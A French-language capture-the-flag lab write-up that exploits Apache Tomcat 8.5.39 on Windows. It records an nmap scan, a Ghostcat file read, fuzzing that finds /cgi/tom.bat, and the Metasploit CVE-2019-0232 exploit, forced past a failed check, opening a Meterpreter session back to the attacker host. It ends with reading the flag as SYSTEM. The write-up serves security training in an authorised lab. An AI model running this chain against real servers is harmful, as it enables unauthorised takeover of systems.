Lab “Inject Tom” : Exploitation de Tomcat CGI RCE (CVE-2019-0232)

Plateforme : SecDojo / CyberLab Vulnérabilité principale : CVE-2019-0232 (Tomcat CGI Remote Code Execution, Windows) Résultat : ✅ accès nt authority\system obtenu, flag récupéré

#

Résumé des informations clés

Élément Valeur
Vecteur d’attaque CVE-2019-0232 (Tomcat CGI RCE)
Point d’entrée /cgi/tom.bat
Privilèges obtenus nt authority\system
Flag flag_74466dc7_6a4b_40bd_9384_68aaf0cb0a38
Cible 176.16.121.38
Attaquant (LHOST) 176.16.121.39

1. Reconnaissance (énumération)

nmap -sV -p- 176.16.121.38

Résultats clés :

Port Service
8080 Apache Tomcat 8.5.39 (HTTP)
8009 AJP13 (Apache JServ Protocol)
445 SMB (Microsoft-DS)

Analyse : la version Tomcat 8.5.39 est connue pour être vulnérable à deux CVE :

  • CVE-2019-0232 — Remote Code Execution via CGI
  • CVE-2020-1938 (Ghostcat) — lecture de fichiers via le connecteur AJP

2. Vérification de la vulnérabilité (Ghostcat)

use auxiliary/admin/http/tomcat_ghostcat
set RHOSTS 176.16.121.38
set FILENAME /WEB-INF/web.xml
run

Résultat : le module a réussi à interagir avec le port 8009 et a confirmé que le serveur permettait la lecture de fichiers internes via le connecteur AJP.

Analyse : avant de tenter l’exécution de code, Ghostcat a été utilisé pour confirmer la vulnérabilité du serveur et pour tenter de lire les fichiers de configuration (web.xml), dans le but de trouver le chemin des scripts CGI.

3. Découverte du point d’entrée (fuzzing CGI)

ffuf -u http://176.16.121.38:8080/cgi/FUZZ.bat -w lab_scripts.txt

Résultat :

tom [Status: 200, Size: 0]

Analyse : l’exploit CVE-2019-0232 nécessite un script .bat ou .cmd valide pour injecter des arguments. Après plusieurs échecs sur le dossier standard /cgi-bin/, ce scan a révélé que le script se nommait tom.bat et se situait dans le dossier /cgi/.

💡 Point clé : ne pas se limiter à /cgi-bin/ par défaut ; fuzzer aussi des chemins alternatifs comme /cgi/.

4. Exploitation (Remote Code Execution)

use exploit/windows/http/tomcat_cgi_cmdlineargs
set RHOSTS 176.16.121.38
set TARGETURI /cgi/tom.bat
set LHOST 176.16.121.39
set AutoCheck false
set ForceExploit true
exploit

Résultat :

[*] Meterpreter session 1 opened (176.16.121.39:4444 -> 176.16.121.38:49248)

Analyse : cette commande exploite une erreur de manipulation des arguments de ligne de commande par le servlet CGI de Tomcat sur Windows. En forçant l’exploit sur le chemin découvert (/cgi/tom.bat), un accès interactif (Meterpreter) a été obtenu avec les privilèges les plus élevés : nt authority\system.

⚠️ Pourquoi AutoCheck false et ForceExploit true ? Le check automatique de Metasploit peut échouer à confirmer la vulnérabilité même quand elle est exploitable. Forcer l’exploit permet de contourner un faux négatif du vérificateur intégré.

5. Post-exploitation (capture du flag)

shell
type C:\Users\Administrator\Desktop\proof.txt

Résultat :

flag_74466dc7_6a4b_40bd_9384_68aaf0cb0a38

Analyse : une fois le contrôle de la machine obtenu, navigation vers le bureau de l’administrateur pour lire le fichier de preuve (proof.txt). En tant que SYSTEM, l’accès était illimité à tous les fichiers de la machine.

Chronologie

Étape Action Résultat
1 Scan Nmap complet Tomcat 8.5.39 exposé sur le port 8080, AJP13 sur 8009.
2 Vérification Ghostcat Lecture de fichiers internes via AJP confirmée.
3 Fuzzing CGI (FFuf) Script tom.bat découvert dans /cgi/.
4 Exploitation RCE (Metasploit) Session Meterpreter ouverte en SYSTEM.
5 Lecture du flag flag_74466dc7_6a4b_40bd_9384_68aaf0cb0a38.

Leçons retenues

  • Une version Tomcat obsolète (8.5.39) expose simultanément plusieurs CVE critiques (Ghostcat + CGI RCE).
  • Le fuzzing de chemins CGI non standards (/cgi/ au lieu de /cgi-bin/) est essentiel quand l’emplacement par défaut échoue.
  • Un check Metasploit négatif ne signifie pas toujours que la cible n’est pas vulnérable ; ForceExploit reste une option à considérer en environnement de lab autorisé.
  • Les exploits CGI Windows sur Tomcat peuvent directement octroyer des privilèges SYSTEM, sans étape d’élévation supplémentaire.

Références

  • CVE-2019-0232 — Apache Tomcat CGI Servlet Remote Code Execution
  • CVE-2020-1938 — Ghostcat (Apache Tomcat AJP File Read/Inclusion)